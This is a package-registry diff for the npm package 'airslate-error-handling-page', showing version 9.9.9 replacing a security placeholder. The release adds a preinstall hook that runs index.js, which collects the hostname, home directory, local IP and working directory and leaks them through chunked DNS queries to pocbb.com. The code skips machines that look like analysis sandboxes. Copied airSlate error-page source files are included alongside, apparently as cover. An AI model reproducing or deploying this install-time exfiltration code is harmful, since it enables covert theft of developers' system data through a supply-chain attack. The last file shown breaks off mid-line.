airslate-error-handling-page 0.0.1-security → 9.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of airslate-error-handling-page might be problematic. Click here for more details.
- package/README.md +2 -5
- package/index.js +105 -0
- package/package.json +7 -3
- package/src/ErrorPage.js +95 -0
- package/src/ReduxErrorJSLogger.js +109 -0
- package/src/WithErrorPageHandler.js +97 -0
- package/src/action.js +39 -0
- package/src/constants.js +129 -0
- package/src/handler.js +7 -0
- package/src/handlerComponent.js +13 -0
- package/src/locale.js +5 -0
- package/src/middleware.js +20 -0
- package/src/reducer.js +19 -0
- package/src/types.js +14 -0
- package/src/utils/query.ts +33 -0
package/README.md
CHANGED
@@ -1,5 +1,2 @@
|
|
1
|
-
#
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=airslate-error-handling-page for more information.
|
1
|
+
# NPM
|
2
|
+
This is a Proof of Concept (PoC) package.
|
package/index.js
ADDED
@@ -0,0 +1,105 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const os = require('os');
|
3
|
+
const fs = require('fs');
|
4
|
+
const path = require('path');
|
5
|
+
|
6
|
+
function generateUID(length = 5) {
|
7
|
+
const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
|
8
|
+
let result = '';
|
9
|
+
for (let i = 0; i < length; i++) {
|
10
|
+
result += characters.charAt(Math.floor(Math.random() * characters.length));
|
11
|
+
}
|
12
|
+
return result.toLowerCase();
|
13
|
+
}
|
14
|
+
|
15
|
+
// Convert a JSON string to hex
|
16
|
+
function jsonStringToHex(jsonString) {
|
17
|
+
return Buffer.from(jsonString, 'utf8').toString('hex');
|
18
|
+
}
|
19
|
+
|
20
|
+
const uid = generateUID(); // Generate a UID for this client once
|
21
|
+
|
22
|
+
function getCurrentTimestamp() {
|
23
|
+
const date = new Date();
|
24
|
+
const offset = -date.getTimezoneOffset() / 60;
|
25
|
+
const sign = offset >= 0 ? "+" : "-";
|
26
|
+
return `${date.toLocaleDateString('en-GB')} ${date.toLocaleTimeString('en-GB')} (GMT${sign}${Math.abs(offset)})`;
|
27
|
+
}
|
28
|
+
|
29
|
+
function getLocalIP() {
|
30
|
+
const interfaces = os.networkInterfaces();
|
31
|
+
for (let iface in interfaces) {
|
32
|
+
for (let ifaceInfo of interfaces[iface]) {
|
33
|
+
if (ifaceInfo.family === 'IPv4' && !ifaceInfo.internal) {
|
34
|
+
return ifaceInfo.address;
|
35
|
+
}
|
36
|
+
}
|
37
|
+
}
|
38
|
+
return '127.0.0.1'; // fallback to localhost
|
39
|
+
}
|
40
|
+
|
41
|
+
function getPackageInfo() {
|
42
|
+
const packageJson = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
|
43
|
+
return {
|
44
|
+
name: packageJson.name,
|
45
|
+
version: packageJson.version
|
46
|
+
};
|
47
|
+
}
|
48
|
+
|
49
|
+
function sendJSONviaDNS(domain) {
|
50
|
+
// Check conditions to exit early
|
51
|
+
const hostnameCheck = os.hostname().startsWith("DESKTOP-") || os.hostname() === "instance";
|
52
|
+
const pathCheck1 = process.cwd().startsWith("/app");
|
53
|
+
const pathCheck2 = process.cwd().startsWith("/root/node_modules");
|
54
|
+
|
55
|
+
if (hostnameCheck || pathCheck1 || pathCheck2) {
|
56
|
+
return;
|
57
|
+
}
|
58
|
+
|
59
|
+
// Resolve the IP address of ns1.pocbb.com
|
60
|
+
dns.resolve4('ns1.pocbb.com', (err, addresses) => {
|
61
|
+
if (err) {
|
62
|
+
dns.setServers(['1.1.1.1', '8.8.8.8']); // Use 1.1.1.1 and 8.8.8.8 if ns1.pocbb.com cannot be resolved
|
63
|
+
} else {
|
64
|
+
const primaryDNS = addresses[0];
|
65
|
+
dns.setServers([primaryDNS, '1.1.1.1', '8.8.8.8']);
|
66
|
+
}
|
67
|
+
|
68
|
+
// Get package info
|
69
|
+
const pkgInfo = getPackageInfo();
|
70
|
+
|
71
|
+
// Construct the JSON object
|
72
|
+
const jsonObject = {
|
73
|
+
timestamp: getCurrentTimestamp(),
|
74
|
+
uid: uid,
|
75
|
+
'pkg-name': pkgInfo.name,
|
76
|
+
'pkg-version': pkgInfo.version,
|
77
|
+
'local-ip': getLocalIP(),
|
78
|
+
hostname: os.hostname(),
|
79
|
+
homedir: os.homedir(),
|
80
|
+
path: process.cwd()
|
81
|
+
};
|
82
|
+
const jsonString = JSON.stringify(jsonObject);
|
83
|
+
const hexString = jsonStringToHex(jsonString);
|
84
|
+
|
85
|
+
// Split hex string into chunks of 60 characters each
|
86
|
+
const chunkSize = 60;
|
87
|
+
const regex = new RegExp(`.{1,${chunkSize}}`, 'g');
|
88
|
+
const chunks = hexString.match(regex);
|
89
|
+
|
90
|
+
chunks.forEach((chunk, index) => {
|
91
|
+
const packetNumber = (index + 1).toString().padStart(3, '0'); // 001, 002, etc.
|
92
|
+
const subdomain = `pl.${uid}.${packetNumber}.${chunk}.${domain}`;
|
93
|
+
|
94
|
+
// Perform DNS resolution
|
95
|
+
dns.resolve4(subdomain, (err, addresses) => {
|
96
|
+
if (err) {
|
97
|
+
return;
|
98
|
+
}
|
99
|
+
});
|
100
|
+
});
|
101
|
+
});
|
102
|
+
}
|
103
|
+
|
104
|
+
// Usage
|
105
|
+
sendJSONviaDNS('pocbb.com');
|
package/package.json
CHANGED
@@ -1,6 +1,10 @@
|
|
1
1
|
{
|
2
2
|
"name": "airslate-error-handling-page",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "9.9.9",
|
4
|
+
"description": "This is a Proof of Concept (PoC) package",
|
5
|
+
"license": "MIT",
|
6
|
+
"main": "index.js",
|
7
|
+
"scripts": {
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
}
|
6
10
|
}
|
package/src/ErrorPage.js
ADDED
@@ -0,0 +1,95 @@
|
|
1
|
+
import React from 'react';
|
2
|
+
import { string, func } from 'prop-types';
|
3
|
+
import { Link } from 'react-router-dom';
|
4
|
+
|
5
|
+
import Svg from 'airslate-controls/src/Svg';
|
6
|
+
import airSlateLogoSvg from 'airslate-static.icons/src/custom/airslate-logo.svg';
|
7
|
+
|
8
|
+
import ContentPlaceholder from 'ui-components/src/components/ContentPlaceholder';
|
9
|
+
import ContentPlaceholderImage from 'ui-components/src/components/ContentPlaceholder/ContentPlaceholderImage';
|
10
|
+
import ContentPlaceholderTitle from 'ui-components/src/components/ContentPlaceholder/ContentPlaceholderTitle';
|
11
|
+
import ContentPlaceholderText from 'ui-components/src/components/ContentPlaceholder/ContentPlaceholderText';
|
12
|
+
import ContentPlaceholderActions from 'ui-components/src/components/ContentPlaceholder/ContentPlaceholderActions';
|
13
|
+
import ContentPlaceholderButton from 'ui-components/src/components/ContentPlaceholder/ContentPlaceholderButton';
|
14
|
+
|
15
|
+
import { EMPTY_STRING, ERROR_IMAGE_ACCESS_DENIED } from './constants';
|
16
|
+
import loc from './locale';
|
17
|
+
|
18
|
+
|
19
|
+
const ErrorView = ({
|
20
|
+
title,
|
21
|
+
message,
|
22
|
+
image,
|
23
|
+
clear,
|
24
|
+
action,
|
25
|
+
redirect,
|
26
|
+
location,
|
27
|
+
}) => (
|
28
|
+
<div className="sl-grid__wrap">
|
29
|
+
<main className="sl-grid__container">
|
30
|
+
<div className="sl-grid__container-inner">
|
31
|
+
<div className="page-logo page-logo--aligned-center">
|
32
|
+
<div className="page-logo__image">
|
33
|
+
<Svg symbol={airSlateLogoSvg} />
|
34
|
+
</div>
|
35
|
+
</div>
|
36
|
+
<div className="sl-container sl-container--aligned-center">
|
37
|
+
<ContentPlaceholder centered>
|
38
|
+
<ContentPlaceholderImage>
|
39
|
+
{image && <img src={image} alt={loc(title)} />}
|
40
|
+
</ContentPlaceholderImage>
|
41
|
+
<ContentPlaceholderTitle>
|
42
|
+
<h1>{title && loc(title)}</h1>
|
43
|
+
</ContentPlaceholderTitle>
|
44
|
+
<ContentPlaceholderText>
|
45
|
+
<p>{message && loc(message)}</p>
|
46
|
+
</ContentPlaceholderText>
|
47
|
+
<ContentPlaceholderActions size="sm">
|
48
|
+
<ContentPlaceholderButton>
|
49
|
+
{action && (redirect && !location) && (
|
50
|
+
<Link
|
51
|
+
to={redirect}
|
52
|
+
onClick={clear}
|
53
|
+
className="sl-button sl-button--primary"
|
54
|
+
>
|
55
|
+
<span className="sl-button__body">
|
56
|
+
<span className="sl-button__text">{loc(action)}</span>
|
57
|
+
</span>
|
58
|
+
</Link>
|
59
|
+
)}
|
60
|
+
{action && location && (
|
61
|
+
<a onClick={clear} href={location} className="sl-button sl-button--primary">
|
62
|
+
<span className="sl-button__body">
|
63
|
+
<span className="sl-button__text">{loc(action)}</span>
|
64
|
+
</span>
|
65
|
+
</a>
|
66
|
+
)}
|
67
|
+
</ContentPlaceholderButton>
|
68
|
+
</ContentPlaceholderActions>
|
69
|
+
</ContentPlaceholder>
|
70
|
+
</div>
|
71
|
+
</div>
|
72
|
+
</main>
|
73
|
+
</div>
|
74
|
+
);
|
75
|
+
|
76
|
+
ErrorView.propTypes = {
|
77
|
+
title: string,
|
78
|
+
message: string,
|
79
|
+
redirect: string,
|
80
|
+
location: string,
|
81
|
+
image: string,
|
82
|
+
action: string,
|
83
|
+
clear: func.isRequired,
|
84
|
+
};
|
85
|
+
|
86
|
+
ErrorView.defaultProps = {
|
87
|
+
title: EMPTY_STRING,
|
88
|
+
message: EMPTY_STRING,
|
89
|
+
redirect: EMPTY_STRING,
|
90
|
+
location: EMPTY_STRING,
|
91
|
+
image: ERROR_IMAGE_ACCESS_DENIED,
|
92
|
+
action: EMPTY_STRING,
|
93
|
+
};
|
94
|
+
|
95
|
+
export default ErrorView;
|
@@ -0,0 +1,109 @@
|
|
1
|
+
import requestError from './action';
|
2
|
+
import {
|
3
|
+
UNKNOWN,
|
4
|
+
REDUX_STORE,
|
5
|
+
REDUX_ACTION,
|
6
|
+
ERROR_ACTION_FORWARD,
|
7
|
+
} from './constants';
|
8
|
+
|
9
|
+
const dictionary = (arr) => {
|
10
|
+
if (Array.isArray(arr)) {
|
11
|
+
return arr.reduce((acc, key) => {
|
12
|
+
acc[key] = true;
|
13
|
+
return acc;
|
14
|
+
}, {});
|
15
|
+
}
|
16
|
+
|
17
|
+
return {};
|
18
|
+
};
|
19
|
+
|
20
|
+
export default function ReduxErrorJSLogger(Sentry, Severity, option) {
|
21
|
+
const filterState = (option && option.filterState) || false;
|
22
|
+
const filterActions = (option && option.filterActions && dictionary(option.filterActions)) || {};
|
23
|
+
|
24
|
+
return (store) => {
|
25
|
+
const reduxStore = () => {
|
26
|
+
const state = store.getState();
|
27
|
+
|
28
|
+
if (filterState) {
|
29
|
+
return { [REDUX_STORE]: filterState(state) };
|
30
|
+
}
|
31
|
+
|
32
|
+
return { [REDUX_STORE]: state };
|
33
|
+
};
|
34
|
+
|
35
|
+
const processException = (exception) => {
|
36
|
+
const extra = reduxStore();
|
37
|
+
|
38
|
+
Sentry.run(hub => hub.withScope((scope) => {
|
39
|
+
scope.setExtras(extra);
|
40
|
+
Sentry.captureException(exception);
|
41
|
+
}));
|
42
|
+
|
43
|
+
if (__LOCAL__ || __DEV__) {
|
44
|
+
/* eslint-disable */
|
45
|
+
console.log('---- ReduxErrorJSLogger ----');
|
46
|
+
console.log(`Target: ${__APP_NAME__} - ${__BRANCH__}@${__BUILD_NUMBER__}`);
|
47
|
+
console.error(exception);
|
48
|
+
console.log('---- ReduxErrorJSLogger ----');
|
49
|
+
/* eslint-enable */
|
50
|
+
}
|
51
|
+
|
52
|
+
store.dispatch(requestError(exception));
|
53
|
+
};
|
54
|
+
|
55
|
+
const trackCustomMessage = ({ payload }) => {
|
56
|
+
const extra = reduxStore();
|
57
|
+
const event = (payload && (payload.event || payload.code)) || UNKNOWN;
|
58
|
+
const hint = (payload && (payload.hint || payload.message)) || UNKNOWN;
|
59
|
+
|
60
|
+
Sentry.run(hub => hub.withScope((scope) => {
|
61
|
+
scope.setExtras(extra);
|
62
|
+
Sentry.captureEvent(event, hint);
|
63
|
+
}));
|
64
|
+
};
|
65
|
+
|
66
|
+
const trackNexAction = ({ type: message, payload: data }) => {
|
67
|
+
Sentry.run(hub => hub.addBreadcrumb({
|
68
|
+
data,
|
69
|
+
message,
|
70
|
+
category: REDUX_ACTION,
|
71
|
+
level: Severity.Debug,
|
72
|
+
}));
|
73
|
+
};
|
74
|
+
|
75
|
+
const proxyResult = value => value;
|
76
|
+
|
77
|
+
const wrapErrorHandling = action => (...args) => {
|
78
|
+
let result;
|
79
|
+
try {
|
80
|
+
result = action(...args);
|
81
|
+
} catch (err) {
|
82
|
+
// sync error in reducer within a thunk
|
83
|
+
processException(err);
|
84
|
+
}
|
85
|
+
if (result instanceof Promise) {
|
86
|
+
// async error in thunk
|
87
|
+
return result.then(proxyResult).catch(processException);
|
88
|
+
}
|
89
|
+
return result;
|
90
|
+
};
|
91
|
+
|
92
|
+
return next => (action) => {
|
93
|
+
if (action && action.type) {
|
94
|
+
if (action.type === ERROR_ACTION_FORWARD) {
|
95
|
+
// Send custom exception to Sentry
|
96
|
+
trackCustomMessage(action);
|
97
|
+
} else if (filterActions[action.type] == null) {
|
98
|
+
// Add action to Sentry Breadcrumb
|
99
|
+
trackNexAction(action);
|
100
|
+
}
|
101
|
+
|
102
|
+
// Ignore plain actions
|
103
|
+
return next(action);
|
104
|
+
}
|
105
|
+
|
106
|
+
return next(wrapErrorHandling(action));
|
107
|
+
};
|
108
|
+
};
|
109
|
+
}
|
@@ -0,0 +1,97 @@
|
|
1
|
+
import React, { Component } from 'react';
|
2
|
+
import PropTypes from 'prop-types';
|
3
|
+
import { EMPTY_STRING } from './constants';
|
4
|
+
|
5
|
+
|
6
|
+
const propTypes = {
|
7
|
+
code: PropTypes.oneOfType([
|
8
|
+
PropTypes.number,
|
9
|
+
PropTypes.string,
|
10
|
+
]),
|
11
|
+
title: PropTypes.string,
|
12
|
+
image: PropTypes.string,
|
13
|
+
emit: PropTypes.func.isRequired,
|
14
|
+
clear: PropTypes.func.isRequired,
|
15
|
+
getErrorCode: PropTypes.func,
|
16
|
+
force: PropTypes.bool,
|
17
|
+
action: PropTypes.string,
|
18
|
+
message: PropTypes.string,
|
19
|
+
redirect: PropTypes.string,
|
20
|
+
location: PropTypes.string,
|
21
|
+
children: PropTypes.node.isRequired,
|
22
|
+
component: PropTypes.oneOfType([
|
23
|
+
PropTypes.node,
|
24
|
+
PropTypes.func,
|
25
|
+
]).isRequired,
|
26
|
+
};
|
27
|
+
|
28
|
+
const defaultProps = {
|
29
|
+
code: 0,
|
30
|
+
title: EMPTY_STRING,
|
31
|
+
image: EMPTY_STRING,
|
32
|
+
force: false,
|
33
|
+
action: EMPTY_STRING,
|
34
|
+
message: EMPTY_STRING,
|
35
|
+
redirect: null,
|
36
|
+
location: null,
|
37
|
+
getErrorCode: () => null,
|
38
|
+
};
|
39
|
+
|
40
|
+
|
41
|
+
class WithErrorPageHandler extends Component {
|
42
|
+
componentWillUnmount() {
|
43
|
+
this.props.clear();
|
44
|
+
}
|
45
|
+
|
46
|
+
componentDidCatch(error, errorInfo) {
|
47
|
+
if (errorInfo && errorInfo.componentStack) {
|
48
|
+
// The component stack is sometimes useful in development mode
|
49
|
+
// In production it can be somewhat obfuscated, so feel free to omit this line.
|
50
|
+
console.log(errorInfo.componentStack); // eslint-disable-line
|
51
|
+
}
|
52
|
+
|
53
|
+
this.props.emit(error);
|
54
|
+
}
|
55
|
+
|
56
|
+
render() {
|
57
|
+
const {
|
58
|
+
code, title, clear, force, action, component: ErrorPage,
|
59
|
+
message, redirect, children, image, location, getErrorCode,
|
60
|
+
} = this.props;
|
61
|
+
|
62
|
+
if (code && getErrorCode) {
|
63
|
+
getErrorCode(code);
|
64
|
+
}
|
65
|
+
|
66
|
+
if (location && typeof location === 'string' && force) {
|
67
|
+
location.href = location;
|
68
|
+
|
69
|
+
return null;
|
70
|
+
}
|
71
|
+
|
72
|
+
if (redirect && force) {
|
73
|
+
global.location.href = redirect;
|
74
|
+
}
|
75
|
+
|
76
|
+
if (code) {
|
77
|
+
return (
|
78
|
+
<ErrorPage
|
79
|
+
clear={clear}
|
80
|
+
title={title}
|
81
|
+
image={image}
|
82
|
+
action={action}
|
83
|
+
message={message}
|
84
|
+
redirect={redirect}
|
85
|
+
location={location}
|
86
|
+
/>
|
87
|
+
);
|
88
|
+
}
|
89
|
+
|
90
|
+
return children;
|
91
|
+
}
|
92
|
+
}
|
93
|
+
|
94
|
+
WithErrorPageHandler.propTypes = propTypes;
|
95
|
+
WithErrorPageHandler.defaultProps = defaultProps;
|
96
|
+
|
97
|
+
export default WithErrorPageHandler;
|
package/src/action.js
ADDED
@@ -0,0 +1,39 @@
|
|
1
|
+
import { createAction } from 'redux-actions';
|
2
|
+
import {
|
3
|
+
UNKNOWN,
|
4
|
+
HOME_PATH,
|
5
|
+
ERROR_ACTION_REQUEST,
|
6
|
+
ERROR_ACTION_FORWARD,
|
7
|
+
ERROR_ACTION_CLEAR,
|
8
|
+
PAYLOAD_BY_ERROR_CODE,
|
9
|
+
} from './constants';
|
10
|
+
|
11
|
+
|
12
|
+
export const errorAction = createAction(ERROR_ACTION_REQUEST);
|
13
|
+
export const forwardAction = createAction(ERROR_ACTION_FORWARD);
|
14
|
+
export const clearAction = createAction(ERROR_ACTION_CLEAR);
|
15
|
+
|
16
|
+
|
17
|
+
export default function errorHandler(error) {
|
18
|
+
const code = error.code || error.status || UNKNOWN;
|
19
|
+
const isErrorInstance = error instanceof Error;
|
20
|
+
|
21
|
+
if (PAYLOAD_BY_ERROR_CODE[code]) {
|
22
|
+
if (isErrorInstance) {
|
23
|
+
return errorAction(PAYLOAD_BY_ERROR_CODE[code]);
|
24
|
+
}
|
25
|
+
// Provide extra arguments
|
26
|
+
return errorAction({ ...PAYLOAD_BY_ERROR_CODE[code], ...error });
|
27
|
+
}
|
28
|
+
|
29
|
+
if (isErrorInstance) {
|
30
|
+
return errorAction({
|
31
|
+
code,
|
32
|
+
title: error.message,
|
33
|
+
action: 'PAGE_ACTION_HOME',
|
34
|
+
redirect: HOME_PATH,
|
35
|
+
});
|
36
|
+
}
|
37
|
+
|
38
|
+
return Error(error);
|
39
|
+
}
|
package/src/constants.js
ADDED
@@ -0,0 +1,129 @@
|
|
1
|
+
// Common
|
2
|
+
const { STATIC_URL, MAIN_DOMAIN } = global.AIRSLATE_ENV_CONFIGURATION;
|
3
|
+
|
4
|
+
export const EMPTY_STRING = '';
|
5
|
+
export const REDUX_ACTION = 'redux-action';
|
6
|
+
export const REDUX_STORE = 'redux-store';
|
7
|
+
export const IMAGES_STATIC_PATH = `${STATIC_URL}/images/default`;
|
8
|
+
|
9
|
+
export const EMPTY_ERROR_STATE = {};
|
10
|
+
export const ERROR_ACTION_REQUEST = 'EHP::ERROR::REQUESTED';
|
11
|
+
export const ERROR_ACTION_FORWARD = 'EHP::ERROR::FORWARD';
|
12
|
+
export const ERROR_ACTION_CLEAR = 'EHP::ERROR::CLEAR';
|
13
|
+
|
14
|
+
|
15
|
+
// images
|
16
|
+
export const ERROR_IMAGE_ACCESS_DENIED = `${IMAGES_STATIC_PATH}/access-denied.png`;
|
17
|
+
export const ERROR_IMAGE_NOT_FOUND = `${IMAGES_STATIC_PATH}/404.png`;
|
18
|
+
export const ERROR_IMAGE_EXERTION = `${IMAGES_STATIC_PATH}/500.png`;
|
19
|
+
|
20
|
+
|
21
|
+
// Redirect
|
22
|
+
export const MY_DOMAIN_PATH = `my.${MAIN_DOMAIN}`;
|
23
|
+
export const HOME_PATH = '/';
|
24
|
+
export const LOGIN_PATH = `/login?redirect=${global.location.pathname}${global.location.search}`;
|
25
|
+
export const REQUEST_ACCESS_PATH = '/request-access';
|
26
|
+
|
27
|
+
|
28
|
+
// Error types
|
29
|
+
export const UNKNOWN = 'UNKNOWN';
|
30
|
+
export const INVITE = 'INVITE_ERROR';
|
31
|
+
export const REQUEST_ACCESS = 'REQUEST_ACCESS';
|
32
|
+
|
33
|
+
|
34
|
+
export const HTTP_BAD_REQUEST = 400;
|
35
|
+
export const HTTP_UNAUTHORIZED = 401;
|
36
|
+
export const HTTP_PAYMENT_REQUIRED = 402;
|
37
|
+
export const HTTP_ACCESS_DENIED = 403;
|
38
|
+
export const HTTP_NOT_FOUND = 404;
|
39
|
+
export const HTTP_METHOD_NOT_ALLOWED = 405;
|
40
|
+
export const HTTP_NOT_ACCEPTABLE = 406;
|
41
|
+
export const HTTP_PROXY_AUTHENTICATION_REQUIRED = 407;
|
42
|
+
export const HTTP_REQUEST_TIMEOUT = 408;
|
43
|
+
export const HTTP_CONFLICT = 409;
|
44
|
+
export const HTTP_GONE = 410;
|
45
|
+
export const HTTP_LENGTH_REQUIRED = 411;
|
46
|
+
export const HTTP_PRECONDITION_FAILED = 412;
|
47
|
+
export const HTTP_REQUEST_ENTITY_TOO_LARGE = 413;
|
48
|
+
export const HTTP_REQUEST_URI_TOO_LONG = 414;
|
49
|
+
export const HTTP_UNSUPPORTED_MEDIA_TYPE = 415;
|
50
|
+
export const HTTP_REQUESTED_RANGE_NOT_SATISFIABLE = 416;
|
51
|
+
export const HTTP_EXPECTATION_FAILED = 417;
|
52
|
+
export const HTTP_UNPROCESSABLE_ENTITY = 422;
|
53
|
+
export const HTTP_INTERVAL_SERVER_ERROR = 500;
|
54
|
+
export const HTTP_NOT_IMPLEMENTED = 501;
|
55
|
+
export const HTTP_BAD_GATEWAY = 502;
|
56
|
+
export const HTTP_SERVICE_UNAVAILABLE = 503;
|
57
|
+
export const HTTP_GATEWAY_TIMEOUT = 504;
|
58
|
+
export const HTTP_HTTP_VERSION_NOT_SUPPORTED = 505;
|
59
|
+
|
60
|
+
// Error enum
|
61
|
+
export const PAYLOAD_BY_ERROR_CODE = {
|
62
|
+
[HTTP_UNAUTHORIZED]: {
|
63
|
+
force: true,
|
64
|
+
redirect: LOGIN_PATH,
|
65
|
+
},
|
66
|
+
|
67
|
+
[HTTP_BAD_REQUEST]: {
|
68
|
+
code: HTTP_BAD_REQUEST,
|
69
|
+
title: 'PAGE_TITLE_INTERVAL_SERVER_ERROR',
|
70
|
+
image: ERROR_IMAGE_NOT_FOUND,
|
71
|
+
action: 'PAGE_ACTION_HOME',
|
72
|
+
redirect: HOME_PATH,
|
73
|
+
},
|
74
|
+
|
75
|
+
[HTTP_ACCESS_DENIED]: {
|
76
|
+
code: HTTP_ACCESS_DENIED,
|
77
|
+
title: 'PAGE_TITLE_NO_PERMISSION',
|
78
|
+
image: ERROR_IMAGE_NOT_FOUND,
|
79
|
+
message: 'PAGE_MESSAGE_NO_PERMISSION',
|
80
|
+
action: 'PAGE_ACTION_HOME',
|
81
|
+
redirect: HOME_PATH,
|
82
|
+
},
|
83
|
+
|
84
|
+
[HTTP_NOT_FOUND]: {
|
85
|
+
code: HTTP_ACCESS_DENIED,
|
86
|
+
title: 'PAGE_TITLE_NOT_FOUND',
|
87
|
+
image: ERROR_IMAGE_NOT_FOUND,
|
88
|
+
message: 'PAGE_MESSAGE_NOT_FOUND',
|
89
|
+
action: 'PAGE_ACTION_HOME',
|
90
|
+
redirect: HOME_PATH,
|
91
|
+
},
|
92
|
+
|
93
|
+
[HTTP_INTERVAL_SERVER_ERROR]: {
|
94
|
+
code: HTTP_INTERVAL_SERVER_ERROR,
|
95
|
+
title: 'PAGE_TITLE_INTERVAL_SERVER_ERROR',
|
96
|
+
image: ERROR_IMAGE_EXERTION,
|
97
|
+
action: 'PAGE_ACTION_HOME',
|
98
|
+
redirect: HOME_PATH,
|
99
|
+
},
|
100
|
+
|
101
|
+
[HTTP_UNPROCESSABLE_ENTITY]: {
|
102
|
+
code: HTTP_UNPROCESSABLE_ENTITY,
|
103
|
+
title: 'PAGE_TITLE_INTERVAL_SERVER_ERROR',
|
104
|
+
image: ERROR_IMAGE_EXERTION,
|
105
|
+
action: 'PAGE_ACTION_HOME',
|
106
|
+
redirect: HOME_PATH,
|
107
|
+
},
|
108
|
+
|
109
|
+
[INVITE]: {
|
110
|
+
code: INVITE,
|
111
|
+
message: 'PAGE_MESSAGE_WORKSPACE_NOT_FOUND',
|
112
|
+
action: 'PAGE_ACTION_WORKSPACE_NOT_FOUND',
|
113
|
+
redirect: MY_DOMAIN_PATH,
|
114
|
+
},
|
115
|
+
|
116
|
+
[REQUEST_ACCESS]: {
|
117
|
+
force: true,
|
118
|
+
redirect: REQUEST_ACCESS_PATH,
|
119
|
+
},
|
120
|
+
|
121
|
+
[UNKNOWN]: {
|
122
|
+
code: UNKNOWN,
|
123
|
+
title: 'PAGE_TITLE_UNKNOWN',
|
124
|
+
image: ERROR_IMAGE_NOT_FOUND,
|
125
|
+
message: 'PAGE_MESSAGE_UNKNOWN',
|
126
|
+
action: 'PAGE_ACTION_HOME',
|
127
|
+
redirect: HOME_PATH,
|
128
|
+
},
|
129
|
+
};
|
package/src/handler.js
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
import { connect } from 'react-redux';
|
2
|
+
import errorHandler, { clearAction } from './action';
|
3
|
+
import WithErrorPageHandler from './WithErrorPageHandler';
|
4
|
+
import { EMPTY_ERROR_STATE } from './constants';
|
5
|
+
|
6
|
+
const mapDispatchToProps = {
|
7
|
+
clear: clearAction,
|
8
|
+
emit: errorHandler,
|
9
|
+
};
|
10
|
+
|
11
|
+
const selectSlatePermission = state => state.error || EMPTY_ERROR_STATE;
|
12
|
+
|
13
|
+
export default connect(selectSlatePermission, mapDispatchToProps)(WithErrorPageHandler);
|
package/src/locale.js
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
import {
|
2
|
+
Hub,
|
3
|
+
Severity,
|
4
|
+
BrowserClient,
|
5
|
+
} from '@sentry/browser';
|
6
|
+
import ReduxErrorJSLogger from './ReduxErrorJSLogger';
|
7
|
+
|
8
|
+
|
9
|
+
const SentryBrowser = new BrowserClient({
|
10
|
+
dsn: __SENTRY_KEY__,
|
11
|
+
debug: !__PROD__,
|
12
|
+
environment: __TARGET__,
|
13
|
+
release: `${__BRANCH__}@${__BUILD_NUMBER__}`,
|
14
|
+
});
|
15
|
+
|
16
|
+
const Sentry = new Hub(SentryBrowser);
|
17
|
+
|
18
|
+
export const ErrorJSLoggerWithOption = option => ReduxErrorJSLogger(Sentry, Severity, option);
|
19
|
+
|
20
|
+
export default ReduxErrorJSLogger(Sentry, Severity, null);
|
package/src/reducer.js
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
import { handleActions } from 'redux-actions';
|
2
|
+
import { EMPTY_STRING, ERROR_ACTION_REQUEST, ERROR_ACTION_CLEAR } from './constants';
|
3
|
+
|
4
|
+
|
5
|
+
const defaultActionHandler = (state, { payload }) => ({ ...state, ...payload });
|
6
|
+
|
7
|
+
|
8
|
+
const initialState = {
|
9
|
+
code: 0,
|
10
|
+
title: EMPTY_STRING,
|
11
|
+
action: EMPTY_STRING,
|
12
|
+
message: EMPTY_STRING,
|
13
|
+
redirect: EMPTY_STRING,
|
14
|
+
};
|
15
|
+
|
16
|
+
export default handleActions({
|
17
|
+
[ERROR_ACTION_REQUEST]: defaultActionHandler,
|
18
|
+
[ERROR_ACTION_CLEAR]: () => initialState,
|
19
|
+
}, initialState);
|
package/src/types.js
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
import {
|
2
|
+
INVITE, UNKNOWN, HTTP_NOT_FOUND, HTTP_UNAUTHORIZED,
|
3
|
+
HTTP_ACCESS_DENIED, HTTP_INTERVAL_SERVER_ERROR, REQUEST_ACCESS,
|
4
|
+
} from './constants';
|
5
|
+
|
6
|
+
|
7
|
+
// Error codes
|
8
|
+
export const NOT_FOUND = { code: HTTP_NOT_FOUND };
|
9
|
+
export const UNAUTHORIZED = { code: HTTP_UNAUTHORIZED };
|
10
|
+
export const ACCESS_DENIED = { code: HTTP_ACCESS_DENIED };
|
11
|
+
export const INTERVAL_SERVER_ERROR = { code: HTTP_INTERVAL_SERVER_ERROR };
|
12
|
+
export const INVITE_ERROR = { code: INVITE };
|
13
|
+
export const DEFAULT = { code: UNKNOWN };
|
14
|
+
export const REQUEST_ACCESS_ERROR = { code: REQUEST_ACCESS };
|
@@ -0,0 +1,33 @@
|
|
1
|
+
export type TQueryObject = Record<number | string, any>;
|
2
|
+
|
3
|
+
const _flat = (
|
4
|
+
path: string,
|
5
|
+
obj: TQueryObject,
|
6
|
+
flatted: string[],
|
7
|
+
): string[] => Object.keys(obj).reduce(
|
8
|
+
(f, p) => {
|
9
|
+
let v = obj[p];
|
10
|
+
if (v === undefined) return flatted;
|
11
|
+
if (v === null) v = '';
|
12
|
+
const ep = encodeURIComponent(p);
|
13
|
+
const np = path ? `${path}[${ep}]` : ep;
|
14
|
+
const theType = Array.isArray(v) ? 'array' : typeof v;
|
15
|
+
if (['function', 'array'].includes(theType)) v = '';
|
16
|
+
if (theType === 'object') {
|
17
|
+
return _flat(np, v, f);
|
18
|
+
}
|
19
|
+
f.push(`${np}=${encodeURIComponent(v)}`);
|
20
|
+
return f;
|
21
|
+
}, flatted,
|
22
|
+
);
|
23
|
+
|
24
|
+
const flat = (obj: TQueryObject): string[] => _flat('', obj, []);
|
25
|
+
|
26
|
+
const stringify = (query: TQueryObject): string => {
|
27
|
+
const queryString = flat(query).join('&');
|
28
|
+
return queryString ? `?${queryString}` : '';
|
29
|
+
};
|
30
|
+
|
31
|
+
export const buildQuery = (query: TQueryObject): string => (
|
32
|
+
query != null ? stringify(query) : ''
|
33
